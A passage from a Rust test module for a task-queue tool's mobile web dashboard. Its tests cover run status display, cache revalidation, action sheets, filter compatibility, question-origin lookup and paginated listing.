23705        assert_eq!(view3["latest_attempt"]["done"], false);
23706
23707        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
23708        // to check - not a confirmed finish, so this must not read as
23709        // resolved either, even though the run is done in the sense that
23710        // nothing is still running.
23711        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
23712        write_run(&runs, noop_a, RunStatus::Blocked);
23713        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
23714        let mut t2 = Task::new(
23715            "claims done".to_owned(),
23716            "do it".to_owned(),
23717            PathBuf::from("/repo"),
23718            Source::Human,
23719        );
23720        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
23721        q.put(&mut t2).expect("put");
23722        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
23723        assert_eq!(
23724            view2["latest_attempt"]["resolved"], false,
23725            "an unverified no-op claim must not read as a confirmed finish"
23726        );
23727
23728        // Front end: an unresolved successor must not carry the "finished
23729        // this work" note or the muted chip treatment.
23730        assert!(APP_JS.contains("latest.resolved"));
23731        // ...but the link to it shows as soon as it exists, labelled by state
23732        // and without the "finished" wording or the muted chip.
23733        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
23734        assert!(APP_JS.contains("Latest attempt: "));
23735        assert!(APP_JS.contains("in flight"));
23736        assert!(APP_JS.contains("not resolved"));
23737    }
23738
23739    #[tokio::test]
23740    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
23741        let fx = Fixture::start().await;
23742        // No cache header at all meant browsers invented their own policy,
23743        // and one did: a phone went on showing "Candidates must be folded
23744        // before deleting. Run `magi fold` first." - deleted two releases
23745        // earlier - from a deck that no longer contained the sentence. The
23746        // button it named was right there, and unreachable.
23747        let js = fx.get("/app.js").await;
23748        assert_eq!(js.status, 200);
23749        let tag = js
23750            .header("etag")
23751            .expect("an etag to revalidate against")
23752            .to_owned();
23753        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
23754        assert_eq!(
23755            js.header("cache-control"),
23756            Some("no-cache, must-revalidate"),
23757            "the phone has to ask every time"
23758        );
23759
23760        // And the asking has to be cheap, or `must-revalidate` just means
23761        // "send the whole interface on every load".
23762        let again = fx
23763            .get_with("/app.js", &[("if-none-match", tag.as_str())])
23764            .await;
23765        assert_eq!(
23766            again.status, 304,
23767            "a deck it already has costs one round trip"
23768        );
23769        assert!(again.body.is_empty(), "304 carries no body");
23770
23771        // A weakened tag from a proxy still matches; a different build does
23772        // not, which is the case that has to deliver the new interface.
23773        let weak = fx
23774            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
23775            .await;
23776        assert_eq!(weak.status, 304);
23777        let stale = fx
23778            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
23779            .await;
23780        assert_eq!(stale.status, 200, "an older build must be replaced");
23781        assert!(stale.body.contains("renderRunActions"));
23782    }
23783
23784    #[test]
23785    fn the_task_detail_has_an_actions_fab_and_sheet() {
23786        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
23787        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
23788        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
23789        // Shown only on the task route, closed everywhere else.
23790        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
23791        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
23792        // Refreshed whenever the detail redraws, including the loading state.
23793        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
23794        assert!(APP_JS.contains("renderTaskActions(null);"));
23795        // Same renderers and routes as the Queue card, no new endpoint.
23796        let sheet = APP_JS
23797            .find("function renderTaskActions")
23798            .expect("sheet renderer");
23799        let body = &APP_JS[sheet..sheet + 3000];
23800        assert!(body.contains("changePriority("));
23801        assert!(body.contains("openTaskEdit(task)"));
23802        assert!(body.contains("renderTaskHoldBox(host"));
23803        assert!(body.contains("renderTaskDoneBox(host"));
23804        assert!(body.contains("renderTaskDeleteBox(host"));
23805        assert!(APP_JS.contains("API.priority(id)"));
23806        assert!(APP_JS.contains("API.deleteTask(id)"));
23807        // A deleted task sends the operator back to the queue.
23808        assert!(APP_JS.contains("location.hash = \"#/queue\""));
23809        // A refusal is shown inside the sheet.
23810        assert!(APP_JS.contains("$(\"task-actions-error\")"));
23811    }
23812
23813    #[test]
23814    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
23815        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
23816        let actions = INDEX_HTML
23817            .find("id=\"run-actions-box\"")
23818            .expect("actions box");
23819        assert!(task < actions, "the task entry comes first in the sheet");
23820        assert!(APP_JS.contains("renderRunTaskEntry"));
23821        assert!(APP_JS.contains("\"Open task \""));
23822        // A run without a task says why there is nothing to open.
23823        assert!(APP_JS.contains("started directly, no task"));
23824        assert!(APP_JS.contains("sheet-task-link"));
23825        assert!(APP_JS.contains("task-chip-link"));
23826    }
23827
23828    #[test]
23829    fn the_deck_never_sends_the_operator_to_a_terminal() {
23830        // The whole point of the phone UI is that a terminal is not needed.
23831        // The delete control used to answer with "Run `magi fold` first."
23832        assert!(
23833            !APP_JS.contains("Run `magi fold` first"),
23834            "the deck must offer the fold, not prescribe a shell command"
23835        );
23836        assert!(APP_JS.contains("foldRun:"));
23837        assert!(APP_JS.contains("resumeRun:"));
23838        assert!(APP_JS.contains("renderRunActions"));
23839
23840        // Folding is destructive and armed in two steps, like deleting.
23841        assert!(APP_JS.contains("armedFold"));
23842        assert!(APP_JS.contains("Yes, fold worktrees"));
23843
23844        // And the copy has to say that the two actions are opposites, because
23845        // folding throws away exactly what a resume would continue from.
23846        assert!(APP_JS.contains("can no longer be resumed"));
23847    }
23848
23849    #[test]
23850    fn a_finished_run_explains_itself_with_its_own_last_line() {
23851        // The deck used to answer "why did this stop?" with a sentence chosen
23852        // by status alone. Run e633 stalled because two judges answered with
23853        // the wrong JSON shape and its card said "The panel collapsed on
23854        // agent quota" - with `quota: []` in the record and a quota-loss
23855        // counter right above it that correctly said nothing.
23856        assert!(
23857            !APP_JS.contains("collapsed on agent quota"),
23858            "a stall must not be explained by a cause the deck did not check"
23859        );
23860        assert!(
23861            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
23862            "and a block must not offer a guess with an `or` in it"
23863        );
23864
23865        // The reason it does have is `run.event`, which must reach finished
23866        // runs: gating it on movement hid the recorded truth at the one moment
23867        // the operator is reading the card to find out what happened.
23868        assert!(
23869            APP_JS.contains("setText(r.event, run.event || \"\")"),
23870            "the run's last line is rendered unconditionally"
23871        );
23872        assert!(
23873            !APP_JS.contains("moving && run.event"),
23874            "and never gated on the run still moving"
23875        );
23876
23877        // Quota keeps its own counter, fed by the number actually recorded.
23878        assert!(APP_JS.contains("lost to quota"));
23879    }
23880
23881    /// The runs tree (section) and the state chips (waiting/done) are two
23882    /// independent lenses ANDed together in `renderRuns`, and some pairings
23883    /// can never both be true for any run - every "Landed"/"Ended" run is
23884    /// done by construction, so pairing either with "Active" or "In flight"
23885    /// always rendered zero cards with the filter bar still claiming
23886    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
23887    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
23888    /// a handful of (waiting, status) shapes standing in for the run
23889    /// lifecycle, because `cargo test` cannot execute the front end.
23890    ///
23891    /// That stand-in list is itself the part that drifted twice in review:
23892    /// once shipped with `waiting: true` paired with a done status the
23893    /// lifecycle cannot produce, then over-corrected into treating every
23894    /// waiting run as never done - which made "Waiting on you" look
23895    /// incompatible with "Done" even for the one real, reachable shape
23896    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
23897    /// that combination. This test parses the shapes and the done-rule back
23898    /// out of `APP_JS`, reimplements `runSection` and the five state
23899    /// predicates independently in Rust, and checks the resulting
23900    /// section/filter compatibility table against the lifecycle rules by
23901    /// hand - so either direction of drift fails it again.
23902    #[test]
23903    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
23904        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
23905        let shapes_body_start =
23906            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
23907        let shapes_close = APP_JS[shapes_body_start..]
23908            .find("].map(")
23909            .expect("the shape list is closed by its done-computing .map(...)")
23910            + shapes_body_start;
23911        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
23912
23913        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
23914        for entry in shapes_src.split('{').skip(1) {
23915            let waiting = entry.contains("waiting: true");
23916            let dead = entry.contains("live: \"dead\"");
23917            let status_at =
23918                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
23919            let status_end = entry[status_at..]
23920                .find('"')
23921                .expect("the status string is closed")
23922                + status_at;
23923            let parked = entry.contains("display_status: \"parked\"");
23924            shapes.push((
23925                waiting,
23926                entry[status_at..status_end].to_string(),
23927                dead,
23928                parked,
23929            ));
23930        }
23931        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
23932
23933        // The done rule itself (`!["implementing"].includes(shape.status)`),
23934        // read out of the source rather than hardcoded, so a renamed
23935        // in-flight status can't silently make every parsed shape "done".
23936        let done_rule_marker = "done: !";
23937        let done_rule_at = APP_JS[shapes_close..]
23938            .find(done_rule_marker)
23939            .expect("the done rule follows the shape list")
23940            + shapes_close
23941            + done_rule_marker.len();
23942        let includes_at = APP_JS[done_rule_at..]
23943            .find(".includes(shape.status)")
23944            .expect("the done rule ends in .includes(shape.status)")
23945            + done_rule_at;
23946        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
23947            .trim()
23948            .trim_start_matches('[')
23949            .trim_end_matches(']')
23950            .split(',')
23951            .map(|s| s.trim().trim_matches('"'))
23952            .filter(|s| !s.is_empty())
23953            .collect();
23954
23955        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
23956            .into_iter()
23957            .map(|(waiting, status, dead, parked)| {
23958                let done = !not_done.contains(&status.as_str());
23959                (waiting, status, dead, parked, done)
23960            })
23961            .collect();
23962
23963        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
23964        // outright, then merged/ready land, stalled/blocked/failed/
23965        // verified_noop end, and everything else is still in flight.
23966        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
23967            if waiting {
23968                return "waiting";
23969            }
23970            if dead
23971                && !parked
23972                && !matches!(
23973                    status,
23974                    "merged"
23975                        | "ready"
23976                        | "stalled"
23977                        | "blocked"
23978                        | "failed"
23979                        | "verified_noop"
23980                        | "superseded"
23981                        | "already_in_base"
23982                )
23983            {
23984                return "stale";
23985            }
23986            match status {
23987                "merged" | "ready" => "landed",
23988                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
23989                | "already_in_base" => "ended",
23990                _ => "flight",
23991            }
23992        }
23993
23994        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
23995        // way.
23996        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
23997            match filter_key {
23998                "active" => !done,
23999                "flight" => !done && !waiting && !dead,
24000                "stale" => !done && !waiting && dead,
24001                "waiting" => waiting,
24002                "done" => done,
24003                "all" => true,
24004                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24005            }
24006        }
24007
24008        let compatible = |section: &str, filter_key: &str| {
24009            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24010                run_section(*waiting, status, *dead, *parked) == section
24011                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24012            })
24013        };
24014
24015        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24016        // (active, flight, stale, waiting, done, all) - hand-derived from the
24017        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24018        // currently contains.
24019        let expected = [
24020            ("waiting", [true, false, false, true, true, true]),
24021            ("stale", [true, false, true, false, false, true]),
24022            ("flight", [true, true, false, false, false, true]),
24023            ("landed", [false, false, false, false, true, true]),
24024            ("ended", [false, false, false, false, true, true]),
24025        ];
24026        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24027
24028        for (section, wants) in expected {
24029            for (filter_key, want) in filter_keys.iter().zip(wants) {
24030                assert_eq!(
24031                    compatible(section, filter_key),
24032                    want,
24033                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24034                );
24035            }
24036        }
24037
24038        // The compatibility check exists only to be acted on: both pickers
24039        // must actually consult it rather than just render its answer.
24040        assert!(
24041            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24042        );
24043        assert!(APP_JS.contains(
24044            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24045        ));
24046        assert!(APP_JS.contains(
24047            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24048        ));
24049    }
24050
24051    #[tokio::test]
24052    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24053        // An operator-named directory - git checkout or not - is never
24054        // second-guessed, even when it does not exist at all: only the
24055        // flag's own unmodified `.` default is ever eligible for discovery.
24056        let dir = tempfile::tempdir().expect("tempdir");
24057        let explicit = dir.path().join("not-a-checkout");
24058        std::fs::create_dir_all(&explicit).expect("create dir");
24059        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24060
24061        let missing = dir.path().join("does-not-exist-at-all");
24062        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24063    }
24064
24065    #[test]
24066    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24067        assert!(APP_JS.contains("function statsDonutArcs"));
24068        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24069        // A bucket click filters by the statuses src/stats.rs counts in it.
24070        assert!(APP_JS.contains("function statusInBucket"));
24071        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24072        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24073        let buckets = [
24074            "merged",
24075            "ready",
24076            "in_progress",
24077            "blocked",
24078            "failed",
24079            "verified_noop",
24080            "superseded",
24081            "stalled",
24082        ];
24083        for key in buckets {
24084            let var = format!("--verdict-{key}:");
24085            // Light, OS-dark and pinned-dark blocks each define it.
24086            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24087            assert!(
24088                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24089                "{key}"
24090            );
24091        }
24092    }
24093
24094    #[tokio::test]
24095    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24096        let dir = tempfile::tempdir().expect("tempdir");
24097        let queue = Queue::at(dir.path().join("queue"));
24098        let talks = Talks::at(dir.path().join("talks"));
24099        std::fs::create_dir_all(queue.root()).unwrap();
24100        std::fs::create_dir_all(talks.root()).unwrap();
24101
24102        // Put a corrupt json file in both stores
24103        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24104        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24105
24106        // Valid task and talk
24107        let mut task = Task::new(
24108            "title".into(),
24109            "inst".into(),
24110            PathBuf::from("/repo"),
24111            Source::Human,
24112        );
24113        task.id = "20261019-123456-abcd".into();
24114        // Write manually so it's a valid file
24115        std::fs::write(
24116            queue.path_of(&task.id),
24117            serde_json::to_string(&task).unwrap(),
24118        )
24119        .unwrap();
24120
24121        let talk_id = "20261019-234567-cdef";
24122        seed_talk_at(&talks, talk_id, "open");
24123
24124        // Exact match should succeed without failing on the corrupt json file
24125        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24126        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24127
24128        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24129        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24130        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24131    }
24132
24133    #[tokio::test]
24134    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24135        let home = tempfile::tempdir().unwrap();
24136        let ui = delta_test_ui(home.path());
24137        // A full history traversal would fail even with no questions.
24138        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24139        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24140        assert!(
24141            questions_list(State(ui.clone()))
24142                .await
24143                .unwrap()
24144                .0
24145                .is_empty()
24146        );
24147        assert!(
24148            question_origins(State(ui.clone()))
24149                .await
24150                .unwrap()
24151                .0
24152                .is_empty()
24153        );
24154        let mut question = Question::new(
24155            "run-history".into(),
24156            "review".into(),
24157            "seat".into(),
24158            "Useful question".into(),
24159            "Useful detail".into(),
24160            vec![],
24161        );
24162        ui.questions.put(&mut question).unwrap();
24163        let core = questions_core(State(ui.clone())).await.unwrap().0;
24164        assert_eq!(core.len(), 1);
24165        assert_eq!(core[0].question.summary, "Useful question");
24166        assert!(!core[0].can_consult_chat);
24167        assert!(core[0].origin_chat.is_none());
24168        assert_eq!(core[0].record_revision, question_record_revision(&question));
24169        assert!(question_origins(State(ui.clone())).await.is_err());
24170        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24171    }
24172
24173    #[tokio::test]
24174    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24175        let home = tempfile::tempdir().unwrap();
24176        let ui = delta_test_ui(home.path());
24177        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24178        let mut parent = Task::new(
24179            "parent".into(),
24180            "body".into(),
24181            PathBuf::from("/repo"),
24182            Source::Agent {
24183                run: chat.clone(),
24184                node: crate::queue::CHAT_NODE.into(),
24185            },
24186        );
24187        parent.id = "parent-task".into();
24188        parent.runs = vec!["parent-run".into()];
24189        ui.queue.put(&mut parent).unwrap();
24190        let mut previous = parent;
24191        for generation in 1..=2 {
24192            let mut child = Task::new(
24193                "child".into(),
24194                "body".into(),
24195                PathBuf::from("/repo"),
24196                Source::Human,
24197            );
24198            child.id = format!("child-task-{generation}");
24199            child.runs = vec![format!("child-run-{generation}")];
24200            child.followup = Some(crate::queue::FollowUp {
24201                origin_task: Some(previous.id.clone()),
24202                run: previous.runs[0].clone(),
24203                pr: String::new(),
24204                findings: vec![],
24205                generation,
24206            });
24207            ui.queue.put(&mut child).unwrap();
24208            previous = child;
24209        }
24210        // A run may have the same spelling as another task's id; its owner
24211        // must not override a typed task reference.
24212        let mut collision = Task::new(
24213            "collision".into(),
24214            String::new(),
24215            PathBuf::from("/repo"),
24216            Source::Human,
24217        );
24218        collision.id = "collision-task".into();
24219        collision.runs = vec![previous.id.clone()];
24220        ui.queue.put(&mut collision).unwrap();
24221        let mut questions = Vec::new();
24222        for (node, reference, expected, eligible) in [
24223            (crate::triage::NODE, previous.id.as_str(), true, false),
24224            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
24225            ("review", previous.runs[0].as_str(), true, true),
24226            (
24227                crate::bump::NOTICE_NODE,
24228                previous.runs[0].as_str(),
24229                true,
24230                false,
24231            ),
24232            // Identical text in the wrong reference namespace is not evidence.
24233            ("review", previous.id.as_str(), false, false),
24234            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
24235            ("review", "unrelated", false, false),
24236        ] {
24237            let mut q = Question::new(
24238                reference.into(),
24239                node.into(),
24240                "seat".into(),
24241                "Question".into(),
24242                String::new(),
24243                vec![],
24244            );
24245            ui.questions.put(&mut q).unwrap();
24246            questions.push((q, expected, eligible));
24247        }
24248        for (node, reference, associated, eligible) in [
24249            (crate::reconcile::NODE, previous.id.as_str(), true, false),
24250            (
24251                crate::reconcile::NODE,
24252                previous.runs[0].as_str(),
24253                false,
24254                true,
24255            ),
24256            ("implement", previous.id.as_str(), false, false),
24257        ] {
24258            let mut q = Question::new(
24259                reference.into(),
24260                node.into(),
24261                crate::reconcile::SEAT.into(),
24262                "Reconcile".into(),
24263                String::new(),
24264                vec![],
24265            );
24266            ui.questions.put(&mut q).unwrap();
24267            questions.push((q, associated, eligible));
24268        }
24269        let mut release = Question::new(
24270            "release-record".into(),
24271            crate::bump::NOTICE_NODE.into(),
24272            "release-watch".into(),
24273            "Release".into(),
24274            String::new(),
24275            vec![],
24276        );
24277        ui.questions.put(&mut release).unwrap();
24278        let watch = crate::release_watch::WatchState {
24279            question: Some(release.id.clone()),
24280            run: Some(previous.runs[0].clone()),
24281            held_task: Some(previous.id.clone()),
24282            ..Default::default()
24283        };
24284        let watch_dir = home.path().join("release-watch");
24285        std::fs::create_dir_all(&watch_dir).unwrap();
24286        let watch_path = watch_dir.join("watch.json");
24287        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24288        // Ordinary questions and bump notices do not need watch-store I/O.
24289        for batch in [
24290            Vec::new(),
24291            questions.iter().map(|(q, _, _)| q.clone()).collect(),
24292        ] {
24293            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
24294            assert!(watches.is_empty());
24295        }
24296        questions.push((release.clone(), true, false));
24297
24298        let views = questions_list(State(ui.clone())).await.unwrap().0;
24299        let origins = question_origins(State(ui.clone())).await.unwrap().0;
24300        for (q, associated, eligible) in &questions {
24301            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
24302            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
24303            let expected = associated.then_some(chat.as_str());
24304            assert_eq!(
24305                view.origin_chat.as_deref(),
24306                expected,
24307                "{} {}",
24308                q.node,
24309                q.run
24310            );
24311            assert_eq!(origin.origin_chat.as_deref(), expected);
24312            assert_eq!(view.origin_chat_closed, *associated);
24313            assert_eq!(origin.origin_chat_closed, *associated);
24314            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
24315            assert_eq!(origin.can_consult_chat, *eligible);
24316        }
24317        // Either saved link independently recovers a release question's owner.
24318        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
24319            let link = crate::release_watch::WatchState {
24320                run,
24321                held_task,
24322                ..watch.clone()
24323            };
24324            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
24325            let (tasks, talks, watches) =
24326                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24327            assert_eq!(
24328                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24329                    .unwrap()
24330                    .id,
24331                chat,
24332            );
24333            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
24334        }
24335        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24336        // Even identical duplicate records are ambiguous: ignore their links.
24337        let duplicate_path = watch_dir.join("duplicate.json");
24338        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
24339        let (tasks, talks, watches) =
24340            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24341        assert!(
24342            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24343                .is_none()
24344        );
24345        std::fs::remove_file(duplicate_path).unwrap();
24346        // Another explicit owner is a conflict even if it has no chat.
24347        let mut unrelated = Task::new(
24348            "other".into(),
24349            String::new(),
24350            PathBuf::from("/repo"),
24351            Source::Human,
24352        );
24353        unrelated.id = "unrelated-task".into();
24354        ui.queue.put(&mut unrelated).unwrap();
24355        let mut conflicting = watch.clone();
24356        conflicting.held_task = Some(unrelated.id);
24357        std::fs::write(
24358            watch_dir.join("conflict.json"),
24359            serde_json::to_vec(&conflicting).unwrap(),
24360        )
24361        .unwrap();
24362        let (tasks, talks, watches) =
24363            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
24364        assert!(
24365            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
24366                .is_none()
24367        );
24368        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
24369        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
24370        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
24371            assert!(origin.origin_chat.is_none());
24372            assert!(!origin.origin_chat_closed);
24373        }
24374    }
24375
24376    #[test]
24377    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
24378        let home = tempfile::tempdir().unwrap();
24379        let ui = delta_test_ui(home.path());
24380        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
24381        for i in 0..1000 {
24382            let mut task = Task::new(
24383                "unrelated".into(),
24384                "instruction ".repeat(256),
24385                PathBuf::from("/repo"),
24386                Source::Human,
24387            );
24388            task.id = format!("history-{i:04}");
24389            ui.queue.put(&mut task).unwrap();
24390            let id = seed_talk_at(&ui.talks, &task.id, "open");
24391            let mut talk = ui.talks.get(&id).unwrap();
24392            talk.pending = "history ".repeat(256);
24393            ui.talks.put(&mut talk).unwrap();
24394        }
24395        let mut parent = Task::new(
24396            "parent".into(),
24397            "body".into(),
24398            PathBuf::from("/repo"),
24399            Source::Agent {
24400                run: chat_id.clone(),
24401                node: crate::queue::CHAT_NODE.into(),
24402            },
24403        );
24404        parent.id = "task-parent".into();
24405        parent.runs = vec!["run-parent".into()];
24406        ui.queue.put(&mut parent).unwrap();
24407        let mut child = Task::new(
24408            "child".into(),
24409            "body".into(),
24410            PathBuf::from("/repo"),
24411            Source::Human,
24412        );
24413        child.id = "task-child".into();
24414        child.runs = vec!["run-child".into()];
24415        child.followup = Some(crate::queue::FollowUp {
24416            run: "run-parent".into(),
24417            origin_task: Some(parent.id.clone()),
24418            pr: "https://example.invalid/pr/1".into(),
24419            findings: vec![],
24420            generation: 1,
24421        });
24422        ui.queue.put(&mut child).unwrap();
24423        let mut question = Question::new(
24424            child.id.clone(),
24425            crate::conduct::NODE.into(),
24426            "seat".into(),
24427            "Continue?".into(),
24428            String::new(),
24429            vec![],
24430        );
24431        let (tasks, talks, _watches) =
24432            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24433        assert_eq!(tasks.len(), 2);
24434        assert_eq!(talks.len(), 1);
24435        assert_eq!(
24436            ui.monitor.queue_index.lock().unwrap().reparsed,
24437            0,
24438            "exact ancestry bypasses the index"
24439        );
24440        assert_eq!(
24441            crate::consult::origin_talk(&tasks, &talks, &question)
24442                .unwrap()
24443                .id,
24444            chat_id
24445        );
24446        question.run = "run-child".into();
24447        question.node = "review".into();
24448        for origin_task in [Some(parent.id.clone()), None] {
24449            child.followup.as_mut().unwrap().origin_task = origin_task;
24450            ui.queue.put(&mut child).unwrap();
24451            let (tasks, talks, _watches) =
24452                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24453            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
24454            let expected =
24455                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
24456                    .unwrap();
24457            assert_eq!(actual.id, expected.id);
24458            assert!(!actual.status.open());
24459            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
24460            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24461            // Without Unix file identity, every readable record must be
24462            // reparsed to detect same-size, same-mtime replacements safely.
24463            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
24464            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
24465        }
24466        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
24467        ui.queue.put(&mut child).unwrap();
24468        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
24469        let (tasks, talks, _watches) =
24470            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24471        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24472        child.origin_chat = Some(chat_id.clone());
24473        ui.queue.put(&mut child).unwrap();
24474        let (tasks, talks, _watches) =
24475            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24476        assert_eq!(
24477            crate::consult::origin_talk(&tasks, &talks, &question)
24478                .unwrap()
24479                .id,
24480            chat_id
24481        );
24482        let revision = question_record_revision(&question);
24483        question.abandon("settled elsewhere");
24484        assert_ne!(revision, question_record_revision(&question));
24485        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
24486        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
24487        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
24488        let (tasks, talks, _watches) =
24489            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
24490        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
24491    }
24492
24493    #[test]
24494    fn list_cursors_freeze_membership_and_expire_explicitly() {
24495        let home = tempfile::tempdir().unwrap();
24496        let ui = delta_test_ui(home.path());
24497        std::fs::create_dir_all(ui.queue.root()).unwrap();
24498        for i in 0..40 {
24499            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
24500        }
24501        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
24502        assert_eq!(first.len(), STORE_PAGE_SIZE);
24503        let cursor = cursor.unwrap();
24504        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
24505        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
24506        let (second, _) = page_ids(
24507            &ui,
24508            false,
24509            PageQuery {
24510                before: Some(cursor.clone()),
24511            },
24512        )
24513        .unwrap();
24514        assert_eq!(second[0], "record-0023");
24515        assert!(second.iter().all(|id| !first.contains(id)));
24516        assert!(
24517            page_ids(
24518                &ui,
24519                true,
24520                PageQuery {
24521                    before: Some(cursor.clone())
24522                }
24523            )
24524            .is_err()
24525        );
24526        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
24527        assert_eq!(fresh[0], "record-9999");
24528        ui.monitor.list_walks.lock().unwrap().clear();
24529        assert!(
24530            page_ids(
24531                &ui,
24532                false,
24533                PageQuery {
24534                    before: Some(cursor)
24535                }
24536            )
24537            .is_err()
24538        );
24539    }
24540
24541    #[tokio::test]
24542    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
